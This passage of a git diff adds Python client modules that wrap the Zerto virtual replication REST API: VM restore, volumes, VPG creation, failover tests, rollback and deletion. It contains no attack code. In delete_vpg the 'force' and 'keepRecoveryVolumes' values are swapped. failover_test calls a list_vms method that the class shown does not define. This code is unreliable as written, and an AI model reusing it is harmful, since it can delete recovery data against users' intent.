logging.error("HTTPError occurred with no response attached.") + raise + + def restore_vm(self, vm_identifier, vpg_identifier, restored_vm_name, checkpoint_identifier, + journal_vm_restore_settings, commit_policy=0, shutdown_policy=0, + time_to_wait_before_continue_in_seconds=0): + """ + Restore a VM from a specific checkpoint. (Auth) + + Args: + vm_identifier (str): The identifier of the VM to restore + vpg_identifier (str): The identifier of the VPG + restored_vm_name (str): The name for the restored VM + checkpoint_identifier (str): The identifier of the checkpoint to restore from + journal_vm_restore_settings (dict): Settings for the restored VM with structure: + { + "datastoreIdentifier": str, + "nics": [ + { + "hypervisor": { + "dnsSuffix": str, + "ipConfig": { + "gateway": str, + "isDhcp": bool, + "primaryDns": str, + "secondaryDns": str, + "staticIp": str, + "subnetMask": str + }, + "networkIdentifier": str, + "shouldReplaceMacAddress": bool + }, + "nicIdentifier": str + } + ], + "volumes": [ + { + "datastore": { + "datastoreIdentifier": str, + "isThin": bool + }, + "volumeIdentifier": str + } + ] + } + commit_policy (int, optional): The commit policy. Defaults to 0 + shutdown_policy (int, optional): The shutdown policy. Defaults to 0 + time_to_wait_before_continue_in_seconds (int, optional): Time to wait before continuing. Defaults to 0 + + Returns: + dict: Response from the server + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/Restore" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + data = { + "vpgIdentifier": vpg_identifier, + "restoredVmName": restored_vm_name, + "checkpointIdentifier": checkpoint_identifier, + "commitPolicy": commit_policy, + "shutdownPolicy": shutdown_policy, + "timeToWaitBeforeContinueInSeconds": time_to_wait_before_continue_in_seconds, + "journalVMRestoreSettings": journal_vm_restore_settings + } + logging.info(f"VMs.restore_vm: Restoring VM {vm_identifier} from checkpoint {checkpoint_identifier}") + logging.info(f"VMs.restore_vm: Data: {json.dumps(data, indent=2)}") + try: + response = requests.post(url, headers=headers, json=data, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def restore_vm_commit(self, vm_identifier): + """ + Commit a restored VM. (Auth) + + Args: + vm_identifier (str): The identifier of the VM to commit + + Returns: + dict: Response from the server if any + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/RestoreCommit" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VMs.restore_vm_commit: Committing restored VM {vm_identifier}") + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def restore_vm_rollback(self, vm_identifier): + """ + Rollback a restored VM. (Auth) + + Args: + vm_identifier (str): The identifier of the VM to rollback + + Returns: + dict: Response from the server if any + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/RestoreRollback" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VMs.restore_vm_rollback: Rolling back restored VM {vm_identifier}") + try: + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() if response.content else None + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_vm_points_in_time(self, vm_identifier, vpg_identifier=None, start_date=None, end_date=None): + """ + Get points in time for a specific VM. (Auth) + + Args: + vm_identifier (str): The identifier of the VM + vpg_identifier (str, optional): The identifier of the VPG + start_date (str, optional): The filter interval start date-time + end_date (str, optional): The filter interval end date-time + + Returns: + list: Array of points in time for the specified VM + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/pointsInTime" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = { + 'vpgIdentifier': vpg_identifier, + 'startDate': start_date, + 'endDate': end_date + } + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info(f"VMs.list_vm_points_in_time: Fetching points in time for VM {vm_identifier}") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def list_vm_points_in_time_stats(self, vm_identifier, vpg_identifier=None): + """ + Get the earliest and latest points in time for the VM. (Auth) + VpgId may be required if the VM is protected by more than one VPG. + + Args: + vm_identifier (str): The identifier of the VM + vpg_identifier (str, optional): The identifier of the VPG which protects the VM + + Returns: + dict: Statistics about the earliest and latest points in time for the VM + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/vms/{vm_identifier}/pointsInTime/stats" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = {'vpgIdentifier': vpg_identifier} if vpg_identifier else {} + + logging.info(f"VMs.list_vm_points_in_time_stats: Fetching points in time stats for VM {vm_identifier}") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/volumes.py b/zvml/volumes.py new file mode 100644 index 0000000..d162af3 --- /dev/null +++ b/zvml/volumes.py @@ -0,0 +1,59 @@ +import requests +import logging +import json + +class Volumes: + def __init__(self, client): + self.client = client + + def list_volumes(self, volume_type=None, vpg_identifier=None, datastore_identifier=None, + protected_vm_identifier=None, owning_vm_identifier=None): + """ + Get a list of volumes info in the current site. For ZSSP users, the information + retrieved is for Protected entities only. (Auth) + + Args: + volume_type (str, optional): The volume type + vpg_identifier (str, optional): The identifier of the VPG + datastore_identifier (str, optional): The identifier of the datastore + protected_vm_identifier (str, optional): The identifier of the protected virtual machine + owning_vm_identifier (str, optional): The identifier of the owning virtual machine + + Returns: + list: Array of volume information objects + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/volumes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + params = { + 'volumeType': volume_type, + 'vpgIdentifier': vpg_identifier, + 'datastoreIdentifier': datastore_identifier, + 'protectedVmIdentifier': protected_vm_identifier, + 'owningVmIdentifier': owning_vm_identifier + } + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info("Volumes.list_volumes: Fetching volumes information") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/vpgs.py b/zvml/vpgs.py new file mode 100644 index 0000000..f9c2bfe --- /dev/null +++ b/zvml/vpgs.py @@ -0,0 +1,995 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import time +import json +from .tasks import Tasks +from .common import ZertoVPGStatus, ZertoVPGSubstatus, ZertoProtectedSiteType, ZertoRecoverySiteType, ZertoVPGPriority +from typing import Optional, Union, Dict, List + +class VPGs: + def __init__(self, client): + self.client = client + self.tasks = Tasks(client) + + def list_vpgs(self, + vpg_name: str = None, + vpg_identifier: str = None, + status: ZertoVPGStatus = None, + sub_status: ZertoVPGSubstatus = None, + protected_site_type: ZertoProtectedSiteType = None, + recovery_site_type: ZertoRecoverySiteType = None, + protected_site_identifier: str = None, + recovery_site_identifier: str = None, + organization_name: str = None, + zorg_identifier: str = None, + priority: ZertoVPGPriority = None, + service_profile_identifier: str = None, + backup_enabled: bool = None) -> Dict | List[Dict]: + """ + Get information about VPGs. If vpg_identifier or vpg_name is provided, returns a single VPG. + Otherwise, returns a list of VPGs that match the filter criteria. + + Args: + vpg_name: Get a specific VPG by name + vpg_identifier: Get a specific VPG by identifier + status: Filter by VPG status + sub_status: Filter by VPG sub-status + protected_site_type: The protected site type + recovery_site_type: The recovery site type + protected_site_identifier: The identifier of the protected site + recovery_site_identifier: The identifier of the recovery site + organization_name: Filter by ZORG name + zorg_identifier: Filter by ZORG identifier + priority: Filter by VPG priority + service_profile_identifier: Filter by service profile ID + backup_enabled: Deprecated parameter + + Returns: + Dict: When vpg_identifier or vpg_name is provided + List[Dict]: When filtering VPGs without specific identifier + """ + # Construct the base URL + if vpg_identifier: + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}" + else: + url = f"https://{self.client.zvm_address}/v1/vpgs" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Only include query parameters if we're not getting a specific VPG + params = {} + if not vpg_identifier: + params = { + 'name': vpg_name, + 'status': status.get_name_by_value(status.value) if status else None, + 'subStatus': sub_status.get_name_by_value(sub_status.value) if sub_status else None, + 'protectedSiteType': protected_site_type.get_name_by_value(protected_site_type.value) if protected_site_type else None, + 'recoverySiteType': recovery_site_type.get_name_by_value(recovery_site_type.value) if recovery_site_type else None, + 'protectedSiteIdentifier': protected_site_identifier, + 'recoverySiteIdentifier': recovery_site_identifier, + 'organizationName': organization_name, + 'zorgIdentifier': zorg_identifier, + 'priority': priority.get_name_by_value(priority.value) if priority else None, + 'serviceProfileIdentifier': service_profile_identifier, + 'backupEnabled': backup_enabled + } + # Remove None values from params + params = {k: v for k, v in params.items() if v is not None} + + logging.info(f"VPGs.list_vpgs: Fetching VPGs with parameters:") + if vpg_identifier: + logging.info(f" vpg_identifier: {vpg_identifier}") + for key, value in params.items(): + logging.info(f" {key}: {value}") + + try: + response = requests.get( + url, + headers=headers, + params=params, + verify=self.client.verify_certificate, + timeout=30 + ) + response.raise_for_status() + result = response.json() + + # If we're querying by name, return the first matching VPG + if vpg_name and isinstance(result, list): + matching_vpg = next((vpg for vpg in result if vpg.get("VpgName") == vpg_name), None) + if matching_vpg: + logging.info(f"Successfully retrieved VPG details for {vpg_name}") + return matching_vpg + logging.warning(f"No VPG found with name {vpg_name}") + return {} + + if vpg_identifier: + logging.info(f"Successfully retrieved VPG details for {vpg_identifier}") + else: + logging.info(f"Successfully retrieved {len(result)} VPGs") + + return result + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def commit_vpg(self, vpg_settings_id, vpg_name, sync=False, expected_status=ZertoVPGStatus.Initializing, timeout=30, interval=5): + logging.info(f'VPGs.commit_vpg(zvm_address={self.client.zvm_address}, vpg_settings_id={vpg_settings_id}, vpg_name={vpg_name}, sync={sync})') + commit_uri = f"https://{self.client.zvm_address}/v1/vpgSettings/{vpg_settings_id}/commit" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.post(commit_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + logging.info(f"VPGSettings {vpg_settings_id} successfully committed, {vpg_name} is created, task_id={task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=timeout, interval=interval) + logging.debug('sleeping 5 seconds ...') + self.wait_for_vpg_ready(vpg_name=vpg_name, timeout=30, interval=5, expected_status=expected_status) + return task_id + return task_id + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def create_vpg(self, basic, journal, recovery, networks, sync=True, status: ZertoVPGStatus = ZertoVPGStatus.Initializing, timeout=30, interval=5): + vpg_name = basic.get("Name") + logging.info(f'VPGs.create_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, sync={sync})') + vpg_settings_id = self.create_vpg_settings(basic, journal, recovery, networks, vpg_identifier=None) + return self.commit_vpg(vpg_settings_id, vpg_name, sync, expected_status=status, timeout=timeout, interval=interval) + + def wait_for_vpg_ready(self, vpg_name, timeout=180, interval=5, expected_status=ZertoVPGStatus.Initializing): + logging.debug(f'VPGs.wait_for_vpg_ready(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, timeout={timeout}, interval={interval}, expected_status={ZertoVPGStatus.get_name_by_value(expected_status.value)})') + start_time = time.time() + + while True: + time.sleep(interval) + vpg_info = self.list_vpgs(vpg_name=vpg_name) + # get status and convert string into enum + logging.debug(f"VPG status: {vpg_info.get('Status')}") + vpg_status: ZertoVPGStatus = ZertoVPGStatus(vpg_info.get("Status")) + logging.debug(f"Checking VPG status for {vpg_name}: Expected status = {ZertoVPGStatus.get_name_by_value(expected_status.value)}, Current status = {ZertoVPGStatus.get_name_by_value(vpg_status.value)}") + + # If VPG is in the expected status or passed the Initializing status too quickly and is in another status + if vpg_status == expected_status or (expected_status == ZertoVPGStatus.Initializing and vpg_status.value > ZertoVPGStatus.Initializing.value): + logging.info(f"VPG {vpg_name} is now in the expected state: {ZertoVPGStatus.get_name_by_value(vpg_status.value)}") + return vpg_info + + # Check if the timeout has been reached + elapsed_time = time.time() - start_time + if elapsed_time > timeout: + raise TimeoutError(f"VPG {vpg_name} did not reach the {ZertoVPGStatus.get_name_by_value(expected_status.value)} state within the allotted time. Current status: {ZertoVPGStatus.get_name_by_value(vpg_status.value)}") + + def add_vm_to_vpg(self, vpg_name, vm_list_payload): + logging.info(f'VPGs.add_vm_to_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name})') + vpg = self.list_vpgs(vpg_name=vpg_name) + + if not vpg: + logging.error(f"VPG with name '{vpg_name}' not found.") + return + + vpg_identifier = vpg['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + new_vpg_settings_id = self.create_vpg_settings(basic=None, journal=None, recovery=None, networks=None, vpg_identifier=vpg_identifier) + + logging.info(f"Adding VMs to VPGSettings ID: {new_vpg_settings_id}") + logging.debug(f"VM List Payload: {json.dumps(vm_list_payload, indent=4)}") + vms_uri = f"https://{self.client.zvm_address}/v1/vpgSettings/{new_vpg_settings_id}/vms" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.post(vms_uri, headers=headers, json=vm_list_payload, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"Successfully added VMs to VPG {new_vpg_settings_id}.") + self.commit_vpg(new_vpg_settings_id, vpg_name, sync=True, expected_status=ZertoVPGStatus.Initializing) + return + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def remove_vm_from_vpg(self, vpg_name, vm_identifier): + logging.info(f'VPGs.remove_vm_from_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, vm_identifier={vm_identifier})') + vpg = self.list_vpgs(vpg_name=vpg_name) + + if not vpg: + logging.error(f"VPG with name '{vpg_name}' not found.") + return + + vpg_id = vpg['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_id}") + + new_vpg_settings_id = self.create_vpg_settings(basic=None, journal=None, recovery=None, networks=None, vpg_identifier=vpg_id) + remove_vm_uri = f"https://{self.client.zvm_address}/v1/vpgSettings/{new_vpg_settings_id}/vms/{vm_identifier}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.delete(remove_vm_uri, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + logging.info(f"VM {vm_identifier} successfully removed from VPG '{vpg_name}' (ID: {new_vpg_settings_id}).") + self.commit_vpg(new_vpg_settings_id, vpg_name, sync=True, expected_status=ZertoVPGStatus.Initializing) + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def failover_test(self, vpg_name, checkpoint_identifier=None, vm_name_list=None, sync=True): + """ + Initiate a failover test for a given VPG by its name. + + :param vpg_name: The name of the VPG. + :param checkpoint_identifier: checkpoint_identifier can be recived by list_checkpoint, if not provided uses the latest checkpoint. + :param vm_name_list: List of + :param options: Optional parameters for the failover test. + :return: Response from the Zerto API. + """ + logging.info(f'VPGs.failover_test(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, checkpoint_identifier={checkpoint_identifier}, vm_name_list={vm_name_list}, sync={sync})') + + # Retrieve the VPG identifier using the VPG name + vpg_info = self.list_vpgs(vpg_name=vpg_name) + vpg_identifier = vpg_info['VpgIdentifier'] + logging.debug(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/FailoverTest" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = {} + if checkpoint_identifier: payload['CheckpointIdentifier'] = checkpoint_identifier + + vm_identifier_list = [] + if vm_name_list: + + for vm in vm_name_list: + vm_info = self.list_vms(vm_name=vm) + if not vm_info: + logging.error (f'failover_test vm={vm} not found') + return + vm_identifier_list.append(vm_info[0]['VmIdentifier']) + + payload['VmIdentifiers'] = vm_identifier_list + + try: + logging.info(f"Initiating failover test for VPG '{vpg_name}', payload={payload}") + response = requests.post(url, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + + logging.info(f"Failover test initiated for VPG {vpg_name}, task_id = {task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return response.json() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def stop_failover_test(self, vpg_name, failoverTestSuccess=True, failoverTestSummary=None, sync=True): + """ + Stop a failover test for a given VPG by its name. + + :param vpg_name: The name of the VPG. + :param sync: wait until task is completed. + + """ + logging.info(f'VPGs.stop_failover_test(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, sync={sync})') + + # Retrieve the VPG identifier using the VPG name + vpg_info = self.list_vpgs(vpg_name=vpg_name) + vpg_identifier = vpg_info['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/FailoverTestStop" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + body = { + "FailoverTestSuccess": failoverTestSuccess, + "FailoverTestSummary": failoverTestSummary + } + + try: + logging.info(f"Stopping failover test for VPG '{vpg_name}'...") + response = requests.post(url, headers=headers, json=body, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + + logging.info(f"Failover test stopping for VPG {vpg_name}, task_id = {task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return response.json() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def rollback_failover(self, vpg_name, sync=True): + """ + Rollback failover for a given VPG by its name. + + :param vpg_name: The name of the VPG. + :param sync: wait until task is completed. + + """ + logging.info(f'VPGs.rollback_failover(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, sync={sync})') + + # Retrieve the VPG identifier using the VPG name + vpg_info = self.list_vpgs(vpg_name=vpg_name) + vpg_identifier = vpg_info['VpgIdentifier'] + logging.info(f"Found VPG '{vpg_name}' with Identifier: {vpg_identifier}") + + url = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}/FailoverRollback" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + logging.info(f"Rollback failover for VPG '{vpg_name}'...") + response = requests.post(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + task_id = response.json() + + logging.info(f"Rollback faolover for VPG {vpg_name}, task_id = {task_id}") + + if sync: + # Wait for task completion + self.tasks.wait_for_task_completion(task_id, timeout=30, interval=5) + return response.json() + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def delete_vpg(self, vpg_name, force=False, keep_recovery_volumes=True): + """ + Deletes a VPG by its name. + + :param vpg_name: The name of the VPG to delete. + :return: Success message if deleted, else an error message. + """ + logging.info(f"VPGs.delete_vpg(zvm_address={self.client.zvm_address}, vpg_name={vpg_name}, force={force}, keep_recovery_volumes={keep_recovery_volumes})") + + # Step 1: Retrieve the VPG details using the VPG name + vpg = self.list_vpgs(vpg_name=vpg_name) + + if not vpg: + logging.error(f"No VPG found with the name '{vpg_name}'.") + return + + # Get the VPG Identifier + vpg_identifier = vpg.get("VpgIdentifier") + if not vpg_identifier: + logging.error(f"Could not retrieve Identifier for VPG '{vpg_name}'.") + return + + # Step 2: Construct the DELETE request URL + delete_vpg_uri = f"https://{self.client.zvm_address}/v1/vpgs/{vpg_identifier}" + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = { + "keepRecoveryVolumes": force, + "force": keep_recovery_volumes + } + + try: + # Step 3: Send DELETE request + response = requests.delete(delete_vpg_uri, headers=headers, json=payload, verify=self.client.verify_certificate) + + response.raise_for_status() # Ensure the request was successful + logging.info(f"Successfully deleted VPG '{vpg_name}' (ID: {vpg_identifier}).") + return f"VPG '{vpg_name}' deleted successfully." + + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + # Added methods from VPGSettings + def list_vpg_settings(self): + url = f"https://{self.client.zvm_address}/v1/vpgs/settings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to list VPG settings: {e}") + raise + + def get_vpg_settings_by_id(self, vpg_settings_id): + url = f"https://{self.client.zvm_address}/v1/vpgSettings/{vpg_settings_id}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"Failed to get VPG settings by ID: {e}") + raise + + def update_vpg_settings(self, vpg_settings_id, payload): + url = f"https://{self.client.zvm_address}/v1/vpgSettings/{vpg_settings_id}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + logging.info(f"VPGs.update_vpg_settings: Updating VPG settings for ID: {vpg_settings_id}") + logging.debug(f"VPGs.update_vpg_settings: Payload: {json.dumps(payload, indent=4)}") + try: + response = requests.put(url, json=payload, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def delete_vpg_settings(self, vpg_settings_id): + url = f"https://{self.client.zvm_address}/v1/vpgs/settings/{vpg_settings_id}" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + try: + response = requests.delete(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def create_vpg_settings(self, basic, journal, recovery, networks, vpg_identifier=None): + logging.info(f'VPGs.create_vpg_settings(zvm_address={self.client.zvm_address}, vpg_identifier={vpg_identifier})') + vpg_settings_uri = f"https://{self.client.zvm_address}/v1/vpgSettings" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + payload = {} + if vpg_identifier: + payload["vpgIdentifier"] = vpg_identifier + if basic: + payload["Basic"] = basic + if journal: + payload["Journal"] = journal + if recovery: + payload["Recovery"] = recovery + if networks: + payload["Networks"] = networks + + logging.debug(f"VPGs.create_vpg_settings: Payload: {json.dumps(payload, indent=4)}") + try: + response = requests.post(vpg_settings_uri, headers=headers, json=payload, verify=self.client.verify_certificate) + response.raise_for_status() + vpg_settings_id = response.json() + logging.info(f"VPG Settings ID: {vpg_settings_id} created") + return vpg_settings_id + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise + + def list_checkpoints(self, vpg_name, start_date=None, endd_date=None, checkpoint_date_str=None, latest=None): + """ + Fetches a list of checkpoints for a specified Virtual Protection Group (VPG). + + Parameters: + vpg_name (str): The name of the Virtual Protection Group (VPG) to fetch checkpoints for. + start_date (str): The start date for filtering checkpoints, in ISO 8601 format (e.g., '2024-11-13T00:00:00Z'). + endd_date (str): The end date for filtering checkpoints, in ISO 8601 format (e.g., '2024-11-14T00:00:00Z'). + checkpoint_date_str (str): A specific date string in the format 'Month Day, Year HH:MM:SS AM/PM' + (e.g., 'November 13, 2024 1:43:02 PM') to search for an exact checkpoint. + latest (bool): If True, returns the checkpoint with the most recent timestamp. + + Returns: + dict: A single checkpoint that matches `checkpoint_date_str` or the latest checkpoint if `latest=True`. + list: The full list of checkpoints if neither `checkpoint_date_str` nor `latest` is specified. + None: If no matching checkpoint is found or an error occurs. + + Raises: + SystemExit: If a request exception occurs during the API call. + """ + 